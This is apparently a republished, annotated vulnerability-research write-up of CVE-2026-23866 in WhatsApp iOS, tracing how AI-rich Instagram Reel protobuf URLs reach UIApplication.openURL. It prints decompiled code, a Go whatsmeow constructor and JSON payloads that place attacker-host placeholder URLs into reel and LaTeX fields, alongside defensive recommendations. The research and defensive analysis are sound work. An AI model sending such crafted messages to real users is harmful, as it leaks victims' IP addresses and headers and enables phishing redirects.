core-jmp core-jmpdeath of core jump

CVE-2026-23866: Finding a Whatsapp NDay

CVE-2026-23866 described incomplete validation of WhatsApp AI-rich Instagram Reel messages that could make another device fetch an arbitrary URL. numb3rs used only the public NVD text, grepped an iOS 25.9.72 IPA for AiRich, and proved a 1-click UIApplication.openURL path. The CVE’s automatic media sink was not reproduced; a 10 October edit points at LaTeX unifiedData image URLs.

oxfemale October 16, 2026 21 min read 147 reads
Export PDF
CVE-2026-23866: Finding a Whatsapp NDay
Original text: “CVE-2026-23866: Finding a Whatsapp NDay” — numb3rs (site: Numb3rs’ blog; GitHub nmb3rs; Discord numb3rss), 5 October 2026, edit 10 October 2026. Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

On 1 May 2026, CVE-2026-23866 landed as a WhatsApp n-day: incomplete validation of AI-rich response messages that carry Instagram Reels. A malicious user can make another user’s client process media from an arbitrary URL, which can leak request headers and the victim IP. numb3rs treated the public NIST/NVD one-liner as the only starting brief, grabbed WhatsApp iOS 25.9.72, and grepped the unzipped IPA for AiRich. That joke-simple first step is how the rest of the post is built: protobuf unpackers in SharedModules, a Swift/ObjC tap path that ends in UIApplication openURL:, and an honest admission that the automatic zero-click media sink named in the CVE was not found.

This article follows that write-up in source order: the version window (iOS 2.25.8.0 through before 2.26.15.72, Android 2.25.8.0 through before 2.26.7.10), the AIRichResponseReelItem fields, the IDA listings, a whatsmeow constructor that places attacker URLs in videoURL / thumbnailURL / profileIconURL, the 1-click Safari redirect on current builds, and the 10 October edit that guesses a LaTeX unifiedData image URL as the patched shape of the old unauthenticated fetch. Kitchen-table notes explain why a chat bubble can make a phone visit a stranger’s server. Operator notes map CWE-20, a 1-click ATT&CK path, and why a missing 0-click sink is still a finding. The published Go and JSON stay verbatim with the original [VPS_URL] placeholders. This article does not add a version-spoof IPA, a Frida 0-click, or a filled-in exploit tree.

Kitchen table: Picture a chat that looks like an Instagram reel. If the app trusts the video link inside that bubble, tapping it is the same as tapping a link a stranger wrote. Your phone then visits their server. That server sees your IP address and the usual browser headers. CVE-2026-23866 says WhatsApp used to do something even worse: process that media without a tap. numb3rs proved the tap. The no-tap path is still homework.
For operators: Public description (NIST, as quoted in the source): incomplete validation of AI rich response messages for Instagram Reels, allowing a user to trigger processing of media from an arbitrary URL on another user’s device. Test binary: WhatsApp iOS 25.9.72. Sink that was proven: URL.init(string:) then -[UIApplication openURL:options:completionHandler:] from -[ReelCollectionViewCell handleTap]. That is 1-click, attacker-controlled. The CVE’s automatic media-processing consumer was not reproduced. CWE-20 Improper Input Validation is the honest class; CWE-601 (open redirect into Safari) describes the tap path; CWE-918 is a cousin only if you stretch “the victim client fetches” into SSRF language. ATT&CK for the proven path: T1204.001 User Execution: Malicious Link inside a trusted messenger.
Kitchen-table diagram of an AI-rich reel forcing a phone to load a URL
A chat bubble that makes the phone fetch a stranger’s URL. Editorial illustration added for this article.
Pipeline from NVD text through grep and protobuf to openURL
How a NIST sentence becomes an IDA xref trail. Editorial illustration added for this article.

An n-day with only the public sentence

numb3rs is explicit about the rules of the game. The only intelligence used is what NIST published. Vulnerable versions: iOS 2.25.8.0 < 2.26.15.72, Android 2.25.8.0 < 2.26.7.10. The English is about AI-rich Instagram Reels and arbitrary media URLs. The author is more at home on iOS, so that is the lab. IDA Pro does the decompile. The binaries, luckily, are not huge.

Incomplete validation of AI rich response messages for Instagram Reels in WhatsApp […] could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device […] NIST / NVD text as quoted by numb3rs

The vulnerability is called low-grade in the post. The interest is the product, not the CVSS. WhatsApp is a new target for this author; the n-day is a guided tour of how Meta ships protocol parsing in SharedModules and UI logic in the main binary, compiled with enough inlining that IDA becomes a maze of stubs.

Kitchen table: An n-day is a bug that is already public, already patched in new builds, and still sitting on phones that have not updated. You do not need a leak. You need the advisory sentence, an old IPA, and patience. That is the entire premise of this post.

Top-tier hacking, also known as grep

The first move is not a symbolic executor. It is grep AiRich on the unzipped IPA, because the CVE said AI-rich. Three hits: SharedModules.framework, WABloksKit.framework, and the main WhatsApp binary.

number@notamalware$ grep "AiRich" -ri
grep: Frameworks/SharedModules.framework/SharedModules: binary file matches
grep: Frameworks/WABloksKit.framework/WABloksKit: binary file matches
grep: WhatsApp: binary file matches

Source: original article. SharedModules is where protocol messages are unpacked. Plenty of AiRich functions live there. The hunt is for processing of media that loads an arbitrary URL. A video load for an Instagram Reel with no check on the link is the working hypothesis. The class name WAPBAIRichResponseMessage_AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata is the kind of identifier that makes protobuf authors proud and reverse engineers grateful.

AiRich-related functions in SharedModules
AiRich-related functions in SharedModules. Source: original article.

Next to the class list sits an unpacker that is almost a one-liner: call a helper, then protobuf_c_message_unpack against the descriptor for airich_response_content_items_metadata.

__int64 whatsapp__airich_response_message__airich_response_content_items_metadata__unpack()
{
  sub_18C3DB4();
  return protobuf_c_message_unpack(&whatsapp__airich_response_message__airich_response_content_items_metadata__descriptor);
}

Source: original article. Parsing is not the product logic. The main WhatsApp binary is where URLs get consumed. Imports there already name the fields the protobuf advertised.

Imports of the WhatsApp binary
Imports of the WhatsApp binary. Source: original article.
For operators: Lab note: an IPA is a zip. Unzip, grep ASCII/UTF-16, then open the Mach-O that actually matched. SharedModules owning protobuf-c unpackers is a clean split: schema on one side, Swift UI on the other. When Meta inlines the UI, the schema side is still the map. Start there even if the CVE sentence sounds like a renderer bug.

The protobuf is the spec

The schema numb3rs uses is public in tulir’s whatsmeow WAAICommonDeprecated.proto around the AIRichResponseContentItemsMetadata message. That is not a leak. It is the community reverse of the WhatsApp E2E protobufs.

message AIRichResponseContentItemsMetadata {
	enum ContentType {
		DEFAULT = 0;
		CAROUSEL = 1;
	}

	message AIRichResponseContentItemMetadata {
		oneof aIRichResponseContentItem {
			AIRichResponseReelItem reelItem = 1;
		}
	}

	message AIRichResponseReelItem {
		optional string title = 1;
		optional string profileIconURL = 2;
		optional string thumbnailURL = 3;
		optional string videoURL = 4;
	}

	repeated AIRichResponseContentItemMetadata itemsMetadata = 1;
	optional ContentType contentType = 2;
}

Source: original article, matching the whatsmeow proto. The interesting payload is AIRichResponseReelItem: optional strings title, profileIconURL, thumbnailURL, videoURL. A carousel of those items is legal in the type system. Nothing in the schema says the URLs must be Instagram CDNs. If the client does not add that check, the schema has already lost.

Kitchen table: Protobuf is a packing list. It says “there is a video URL here.” It does not say “and it must be instagram.com.” If the app treats the packing list as a promise, a stranger can write any address on the list. The CVE is the missing second sentence: only load media from places we trust.

Cross-refs, -O1, and a stub that stores videoUrl

Crossing the metadata class lands sub_101AF22F0. Through the -O1 fog you can still see selectors: videoURL, title, profileIconURL, then a call into sub_1013B30C0. numb3rs thanks Meta for compiling with -O1 the way you thank a dentist.

__int64 __fastcall sub_101AF22F0(__int64 a1)
{
  __int64 v1; // x30
  int v2; // w0
  int v3; // w2
  __int64 v4; // x1
  __int64 v5; // x0
  __int64 v6; // x1
  int v7; // w0
  int v8; // w2
  int v9; // w0
  int v10; // w2
  __int64 v11; // x0
  __int64 v12; // x1
  __int64 v13; // x2
  __int64 v14; // x3

  sub_101B55B2C(a1, v1);
  v2 = sub_101B2E450();
  if ( v4 )
  {
    v5 = sub_101B51EB0(v2, &selRef_videoURL, v3);
    if ( v6 )
    {
      v7 = sub_101B50E40(v5);
      sub_101B51EB0(v7, &selRef_title, v8);
      sub_101B516D4();
      sub_101B51EB0(v9, &selRef_profileIconURL, v10);
      sub_101B5341C();
      sub_101B5157C();
      sub_1013B30C0();
    }
    else
    {
      sub_101B50780(v5);
    }
  }
  sub_101B506F8();
  type metadata accessor for RichResponseReelItem();
  sub_101B52DC8();
  sub_101B55B18();
  return sub_10001FFAC(v11, v12, v13, v14);
}

Source: original article, IDA decompilation of sub_101AF22F0. The stub at sub_1013B30C0 stores the URL into a RichResponseReelItem instance. The listing is ARM64 with a function chunk at 0x10140A304 — the kind of split that makes following arguments a sport.

__text:00000001013B30C0 ; void sub_1013B30C0()
__text:00000001013B30C0 sub_1013B30C0                           ; CODE XREF: sub_101AF22F0+80↓p
__text:00000001013B30C0
__text:00000001013B30C0 arg_50          =  0x50
__text:00000001013B30C0 arg_58          =  0x58
__text:00000001013B30C0
__text:00000001013B30C0 ; FUNCTION CHUNK AT __text:000000010140A304 SIZE 00000018 BYTES
__text:00000001013B30C0
__text:00000001013B30C0                 MOV             X9, X30
__text:00000001013B30C4                 BL              sub_10140D35C
__text:00000001013B30C8                 MOV             X30, X9
__text:00000001013B30CC                 STP             X29, X30, [SP,#arg_50]
__text:00000001013B30D0                 ADD             X29, SP, #arg_50
__text:00000001013B30D4                 MOV             X19, X7
__text:00000001013B30D8                 BL              sub_1014103C8
__text:00000001013B30DC                 BL              sub_10140DF88
__text:00000001013B30E0                 MOV             X25, X1
__text:00000001013B30E4                 MOV             X26, X0
__text:00000001013B30E8                 MOV             X27, X8
__text:00000001013B30EC                 BL              _$s10Foundation4UUIDVACycfC ; UUID.init()
__text:00000001013B30F0                 BL              sub_10140C468
__text:00000001013B30F4                 LDRSW           X8, [X0,#0x14]
__text:00000001013B30F8                 ADD             X8, X27, X8
__text:00000001013B30FC                 STP             X26, X25, [X8]
__text:00000001013B3100                 LDRSW           X8, [X0,#0x18]
__text:00000001013B3104                 ADD             X8, X27, X8
__text:00000001013B3108                 STP             X24, X23, [X8]
__text:00000001013B310C                 LDRSW           X8, [X0,#0x1C]
__text:00000001013B3110                 ADD             X8, X27, X8
__text:00000001013B3114                 STP             X22, X21, [X8]
__text:00000001013B3118                 LDRSW           X8, [X0,#0x20]
__text:00000001013B311C                 ADD             X8, X27, X8
__text:00000001013B3120                 STP             X20, X19, [X8]
__text:00000001013B3124                 LDP             X29, X30, [SP,#arg_50]
__text:00000001013B3128                 B               loc_10140A304
__text:000000010140A304 loc_10140A304                           ; CODE XREF: sub_1013B30C0+68↑j
__text:000000010140A304                                         ; sub_1013B8508+148↑j ...
__text:000000010140A304                 LDP             X20, X19, [SP,#arg_40]
__text:000000010140A308                 LDP             X22, X21, [SP,#arg_30]
__text:000000010140A30C                 LDP             X24, X23, [SP,#arg_20]
__text:000000010140A310                 LDP             X26, X25, [SP,#arg_10]
__text:000000010140A314                 LDP             X28, X27, [SP+arg_0],#0x60
__text:000000010140A318                 RET

Source: original article, IDA disassembly of sub_1013B30C0. Keep x-refing. The next job is the function that actually loads one of those URLs.

Following the cross-references in IDA
Following the cross-references in IDA. Source: original article.

Dynamic debugging was off the table by choice. Diffing patched versus vulnerable binaries was off the table because of compiler optimizations. The remaining tool, in the author’s words, is guessing. Several hours later, a function that consumes videoUrl:

// positive sp value has been detected, the output may be wrong!
__int64 sub_1013E678C()
{
  _QWORD *v0; // x22
  __int64 v1; // x24
  int v2; // w1
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 v5; // x0
  __int64 v6; // x0
  __int64 v7; // x0
  __int64 v8; // x27
  __int64 result; // x0
  __int64 v10; // x23
  __int64 v11; // x28
  int v12; // w2
  int v13; // w3
  int v14; // w4
  int v15; // w5
  int v16; // w6
  int v17; // w7
  __int64 v18; // x26
  __int64 v19; // x20
  _QWORD *v20; // x0
  __int64 v21; // x0
  char v22; // zf
  __int64 v23; // x0
  __int64 v24; // x0
  __int64 v25; // x0
  __int64 v26; // x0
  id v27; // x24
  NSURL *v28; // x8
  __int64 v29; // x0
  __int64 v30; // x20
  __int64 v31; // x25
  __int64 v32; // x1
  Class isa; // x26
  __int64 v34; // x0
  __int64 v35; // x0
  __int64 v36; // x0
  __int64 v37; // x0
  __int64 v38; // x0
  __int64 (__fastcall *v39)(__int64); // x8
  __int64 v40; // x0
  int v41; // [xsp-8h] [xbp-8h]

  sub_10140D35C();
  v41 = v2;
  v3 = sub_10001FCE0(&qword_103BE1A70);
  v4 = sub_10140A338(v3);
  v5 = (sub_10140C760)(v4);
  (sub_10140C894)(v5);
  v6 = sub_1014104CC();
  v7 = (sub_10140A690)(v6);
  v8 = (sub_10140C468)(v7);
  sub_10140A338(v8);
  sub_10140C850();
  result = sub_1013E5234();
  if ( result )
  {
    v10 = result;
    v11 = Array.count.getter(*(result + 72));
    if ( (IndexPath.item.getter)() >= v11 )
    {
      v25 = (sub_10140D344)(v10, v41, v12, v13, v14, v15, v16, v17);
      return swift_release(v25);
    }
    else
    {
      v18 = (IndexPath.item.getter)();
      sub_1013E644C();
      v19 = *(v10 + 72);
      sub_10140BDB0();
      v20 = Array.subscript.getter(v0, v18, v19, v8);
      sub_10140BDCC(v20);
      URL.init(string:)(*(v0 + *(v8 + 32)), *(v0 + *(v8 + 32) + 8));
      v21 = (sub_10140BB78)(v1);
      if ( v22 )
      {
        v23 = sub_10140CE5C(v21);
        v24 = sub_10140CE54(v23, type metadata accessor for RichResponseReelItem);
        return (sub_10140E5EC)(v24, &qword_103BE1A70);
      }
      else
      {
        v26 = (sub_10140E130)(v21);
        (sub_10140D2D8)(v26);
        v27 = objc_retainAutoreleasedReturnValue(objc_msgSend(objc_opt_self(&OBJC_CLASS___UIApplication), "sharedApplication"));
        URL._bridgeToObjectiveC()(v28);
        v30 = v29;
        sub_10001FCE0(&qword_103BF6B78);
        v31 = sub_10140AA6C();
        (type metadata accessor for OpenExternalURLOptionsKey)(0LL);
        sub_10140BCF0(&unk_103C81BA0, v32, type metadata accessor for OpenExternalURLOptionsKey, &unk_1041EDA60);
        (sub_10140E0A8)(v31);
        isa = Dictionary._bridgeToObjectiveC()().super.isa;
        sub_10140C82C();
        v34 = sub_10140CE5C(objc_msgSend(v27, "openURL:options:completionHandler:", v30, isa, 0LL));
        v35 = sub_10140BD28(v34);
        v36 = sub_10140BCB8(v35);
        v37 = (sub_10140BE20)(v36);
        v38 = sub_10140BF68(v37);
        v40 = v39(v38);
        return sub_10140CE54(v40, type metadata accessor for RichResponseReelItem);
      }
    }
  }
  return result;
}

Source: original article, IDA decompilation of sub_1013E678C. IDA warns that a positive SP value was detected and the output may be wrong. Even so, the interesting calls survive: URL.init(string:) on a field pulled from the reel item, then on the success path objc_msgSend(..., "openURL:options:completionHandler:", ...) against UIApplication. That is Safari (or whatever handles the URL) on a string that came out of the protobuf.

The Objective-C wrapper that users actually tap is a cell in the reel collection:

void __cdecl -[ReelCollectionViewCell handleTap](_TtC14WAMessageViews22ReelCollectionViewCell *self, SEL a2)
{
  void *v2; // x20

  sub_10140BED4(self, a2);
  sub_1013E4B8C();
  objc_release(v2);
}

Source: original article. -[ReelCollectionViewCell handleTap] is the 1-click door. The URL is attacker-controlled. The CVE, however, does not require a tap. This sink is a related finding, not the NVD sentence as written.

For operators: Read the decompiled tap path as: bounds-check an array of reel items, URL.init(string:) on stored fields, then openURL:options:completionHandler:. If init fails, the function bails through Swift release helpers. If it succeeds, UIKit opens it. There is no visible allow-list in this listing. That absence is the bug class, even before you ask whether a second consumer fetches the same URL as media without a tap.

The 0-click sink is a needle, and the backend will not help

Finding the automatic media-processing consumer is, in the post, a haystack problem. Dynamic work on this old build hits a wall: WhatsApp’s backend refuses registration on expired versions. numb3rs mentions the obvious bypass — patch the version in the IPA, re-sign, maybe lie about the device date because the app also has an expiration — and then declines to go there. The interest is the static trail, not a fully weaponized lab.

Kitchen table: Apps like WhatsApp have a sell-by date baked in. Old IPAs stop talking to the mothership. That is good for users and annoying for n-day archaeology. You can forge the version string. You can also spend that energy on the code that is already on disk. This post picks the second option and says so.

Sending a crafted rich response is still possible from a modern helper. The constructor uses whatsmeow and puts attacker URLs in every reel field, plus a JSON unifiedData blob and forwarded-AI-bot context. Placeholders stay as in the source.

botJID := "test@bot"

forwardOrigin := waE2E.ContextInfo_ForwardOrigin(4)

unifiedData := []byte(`{
  "response_id": "test-reel-123",
  "sections": [
    {
      "view_model": {
        "__typename": "GenAIHScrollLayoutViewModel",
        "primitives": [
          {
            "__typename": "GenAIReelPrimitive",
            "reels_url": "http://[VPS_URL]/test.mp4",
            "thumbnail_url": "http://[VPS_URL]/test.jpg",
            "creator": "testuser",
            "avatar_url": "http://[VPS_URL]/test.jpg",
            "reels_title": "Test Reel",
            "likes_count": 123,
            "shares_count": 12,
            "view_count": 4567,
            "reel_source": "IG",
            "is_verified": false
          }
        ]
      }
    }
  ]
}`)

rich := &waE2E.AIRichResponseMessage{
	MessageType: waAICommonDeprecated.
		AIRichResponseMessageType_AI_RICH_RESPONSE_TYPE_STANDARD.
		Enum(),

	Submessages: []*waAICommonDeprecated.AIRichResponseSubMessage{
		{
			MessageType: waAICommonDeprecated.
				AIRichResponseSubMessageType_AI_RICH_RESPONSE_CONTENT_ITEMS.
				Enum(),

			ContentItemsMetadata: &waAICommonDeprecated.AIRichResponseContentItemsMetadata{
				ContentType: waAICommonDeprecated.
					AIRichResponseContentItemsMetadata_CAROUSEL.
					Enum(),

				ItemsMetadata: []*waAICommonDeprecated.
					AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata{
					{
						AIRichResponseContentItem: &waAICommonDeprecated.
							AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
							ReelItem: &waAICommonDeprecated.
								AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
								Title:          proto.String("testuser"),
								ProfileIconURL: proto.String("http://[VPS_URL]/avatar.jpg"),
								ThumbnailURL:   proto.String("http://[VPS_URL]/test.jpg"),
								VideoURL:       proto.String("http://[VPS_URL]/test.mp4"),
							},
						},
					},
				},
			},
		},
	},

	UnifiedResponse: &waAICommon.AIRichResponseUnifiedResponse{
		Data: unifiedData,
	},

	ContextInfo: &waE2E.ContextInfo{
		IsForwarded:     proto.Bool(true),
		ForwardingScore: proto.Uint32(1),

		ForwardedAiBotMessageInfo: &waAICommon.ForwardedAIBotMessageInfo{
			BotJID: proto.String(botJID),
		},

		ForwardOrigin: &forwardOrigin,
	},
}

message := &waE2E.Message{
	BotForwardedMessage: &waE2E.FutureProofMessage{
		Message: &waE2E.Message{
			RichResponseMessage: rich,
		},
	},
}

Source: original article. On recent WhatsApp, the bubble renders as a reel-like card. Tapping it opens the provided videoUrl in Safari. Old-version UI was not reconstructed; SwiftUI inlining makes those components miserable in IDA, which does not load stubs with arguments attached. Cellebrite Labs’ FunctionInliner is named as a possible way around that, and then left aside.

How it displays on recent versions
How it displays on recent versions. Source: original article.

When we click on the reel, we are redirected on the provided videoUrl in Safari.

numb3rs, Numb3rs’ blog

Conclusion of the first pass: 1-click proven, 0-click not

The first published conclusion is careful. A tap path exists. An automatic path matching the CVE was not found. WhatsApp does extract a URL from a user-controlled protobuf and loads it without proving the destination is trusted. numb3rs suspects that is already bounty-shaped, pointing at kasif-dekel’s WhatsApp deeplink write-up as a prior payout for a similar class. If the UI does not even show the URL and a tap on the card is enough, that is already a vuln. It is not CVE-2026-23866’s sink.

AIRichResponseContentItemsMetadata
        |
        v
reelItem
        |
        v
sub_101AF22F0
  videoURL / thumbnailURL / profileIconURL / title
        |
        v
sub_1013B30C0
  RichResponseReelItem
        |
        +----------------------+
        |                      |
        v                      ?
sub_1013E678C             CVE media sink
  [tap path]              [not found]
        |
        v
URL.init -> UIApplication.openURL

Source: original article. Two future-work ideas are listed, not executed: hardcode a newer version string (and clock) to pass backend checks, or inject a custom dylib that forces the client to load a RichResponseMessage.

Two sinks: 1-click tap path versus the unreproduced 0-click media path
What the post proved versus what the CVE describes. Editorial illustration added for this article.
  • Hardcode a more recent WhatsApp version in the binary to bypass the backend check (and change the phone date past the in-app expiration).
  • Write and import a custom .dylib to force-load a custom RichResponseMessage.
For operators: Those two bullets are research options from the source, not a how-to in this draft. Re-signing a modified WhatsApp IPA and spoofing its version to talk to production backends is out of scope here. The public finding you can defend in a report today is the tap-to-openURL path plus unconstrained protobuf URL fields.

Edit, 10 October 2026: LaTeX unifiedData as a possible media sink

Five days after the first post, an edit. AiRichResponseMessage objects can carry unifiedData with LaTeX render objects: latex_expression, url, height, weidth (the post’s spelling). Patched clients add a nested latex_image with its own url, height, and width. The hypothesis: vulnerable builds fetched that URL without proving it was authentic; patched builds either wrap it, allow-list it, or ignore it.

A test unifiedData blob was sent with whatsmeow to a latest client:

{
  "response_id": "latex-test-123",
  "sections": [
    {
      "view_model": {
        "__typename": "GenAISingleLayoutViewModel",
        "primitive": {
          "__typename": "GenAIMarkdownTextUXPrimitive",
          "text": "La formule est {{LATEX_0}}image{{/LATEX_0}}",
          "inline_entities": [
            {
              "key": "LATEX_0",
              "metadata": {
                "__typename": "GenAILatexItem",
                "latex_expression": "E=mc^2",
                "latex_image": {
                  "url": "http://[URL_VPS]/test.jpeg",
                  "width": 200,
                  "height": 200
                },
                "font_height": 100.333,
                "padding": 20.0
              }
            }
          ]
        }
      }
    }
  ]
}

Source: original article. The LaTeX object renders. Height and width change the layout. No image appears. Guesses in the post: untrusted domain, unverified bot, or the method is fully deprecated. Testing on a vulnerable build is promised for later weeks. This article does not invent that later result.

edit_latex
LaTeX unifiedData rendering on a current WhatsApp client (edit_latex). Source: original article.
Kitchen table: The October 10 idea is that the old app might have treated a math formula’s picture URL the way a browser treats <img src>: just fetch it. New apps seem to draw the formula and skip the picture, or only accept pictures from a short list of servers. Until someone repeats the test on 25.9.72, that is a hunch with a screenshot, not a closed CVE reproduction.

Closing note from the author: first mobile VR post, questions welcome on Discord @numb3rss.

What this n-day is, and what it is not

It is not a WhatsApp server RCE. It is not a proven zero-click on current builds. It is a client that used to take URLs out of an AI-rich Instagram Reel wrapper and process media from them, plus a tap path that still opens attacker URLs in Safari on the author’s modern test. The leak surface named in the intro is classic for this class: the victim device makes the HTTP(S) request, so the far end learns IP and headers, and any cookie or scheme handler registered for that URL type becomes interesting.

QuestionWhat the post actually shows
CVE idCVE-2026-23866, public 1 May 2026
Vendor sentenceIncomplete validation of AI-rich Instagram Reel messages; arbitrary media URL on another device
Lab binaryWhatsApp iOS 25.9.72
Version window (NIST as quoted)iOS 2.25.8.0 through before 2.26.15.72; Android 2.25.8.0 through before 2.26.7.10
Proven sink1-click: handleTap → URL.init → UIApplication.openURL (Safari)
CVE 0-click sinkNot found / not reproduced
SchemaAIRichResponseReelItem videoURL, thumbnailURL, profileIconURL
October 10 hypothesisunifiedData LaTeX url / latex_image.url on patched vs vulnerable
Delivery helperwhatsmeow RichResponseMessage constructor (placeholders, not a packed exploit)
Editorial scoreboard. Claims stay inside the original post.
ATT&CK / CWEFit
T1204.001 Malicious LinkReel card tap opens attacker URL
T1189 Drive-by Compromise (if 0-click media fetch exists)Named by the CVE; not reproduced here
T1071.001 Web ProtocolsVictim client issues HTTP(S) to attacker host
CWE-20 Improper Input ValidationURL fields accepted without a trust check
CWE-601 URL Redirection to Untrusted SiteTap path into Safari
CWE-441 Unintended Proxy (cousin)Victim phone fetches attacker media on someone else’s behalf
Editorial mapping. CWE-918 SSRF is a stretch: the fetcher is the victim client, not WhatsApp’s servers.

For messengers, unconstrained URL fetch is a privacy bug even when it is not a code-exec bug. IP, User-Agent, and timing are enough for tracking. If the URL uses a custom scheme, openURL can become a trampoline into another app. Prior WhatsApp deeplink bounties exist for a reason. numb3rs is right not to upgrade the tap path into the CVE’s 0-click claim.

Key Takeaways

  • CVE-2026-23866 is a WhatsApp client bug: AI-rich Instagram Reel messages could make another device process media from an arbitrary URL.
  • numb3rs worked only from the public NVD text, on iOS 25.9.72, starting with grep AiRich on the IPA.
  • The protobuf already has videoURL, thumbnailURL, and profileIconURL with no trust constraint in the schema.
  • A 1-click path is proven: ReelCollectionViewCell handleTap → URL.init → UIApplication.openURL into Safari.
  • The CVE’s automatic (no-tap) media sink was not found. Backend version checks blocked easy dynamic work on the old IPA.
  • The 10 October edit hypothesizes LaTeX unifiedData image URLs as the patched shape of an old unauthenticated fetch; latest builds render LaTeX without loading the image.
  • whatsmeow can build the message. That is a lab constructor with placeholders, not a packed 0-click.

Defensive Recommendations

  1. Patch WhatsApp. Stay on or above iOS 2.26.15.72 and Android 2.26.7.10 for this CVE window. Enterprise MDM should force-store updates; n-days live on laggards.
  2. Allow-list media hosts. Reel, thumbnail, avatar, and LaTeX image URLs should resolve only to Meta/Instagram (or a documented CDN) after HTTPS and a name check. Fail closed.
  3. Do not openURL attacker strings. If a tap must preview a reel, open an in-app player on a validated HTTPS URL, not Safari on whatever the protobuf said.
  4. Show the destination. If a card will leave the app, show the host before the jump. Hidden URLs plus a big tap target are how 1-click bugs get paid.
  5. Kill expired clients hard. The backend already rejects old versions. Keep doing that. Do not add a compatibility exception for AI-rich messages.
  6. Hunt protobufs. On a jailbroken lab device or a proxy you control, alert on AIRichResponse / GenAIReelPrimitive / latex_image.url pointing off Meta properties.
  7. Treat this as privacy, not only as “low.” Forced fetches leak IP and headers. Combine with a tap-to-Safari trampoline and you have a phishing rail inside a trusted chat.
  8. Do not run random WhatsApp IPA patches. Version spoofing and injected dylibs are mentioned as future research, not as a tool you should sideload on a daily driver.

Conclusion

The post is a clean n-day diary: one public sentence, one old iOS build, grep, protobuf, xrefs, a tap sink, and an honest miss on the 0-click consumer. Swift inlining and an expired-app backend are the real antagonists, not a missing idea. The October 10 LaTeX edit is the right kind of follow-up — a new field, a screenshot on a patched client, and a promise to retry on the vulnerable one. Until that retry lands, the defensible statement is smaller than the CVE headline and still worth the patch: WhatsApp will take a URL out of an AI-rich reel and, on a tap, ask UIKit to open it. Update the messenger. Allow-list the hosts. Do not confuse a whatsmeow snippet with a 0-click.

Original text: “CVE-2026-23866: Finding a Whatsapp NDay” by numb3rs at Numb3rs’ blog.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion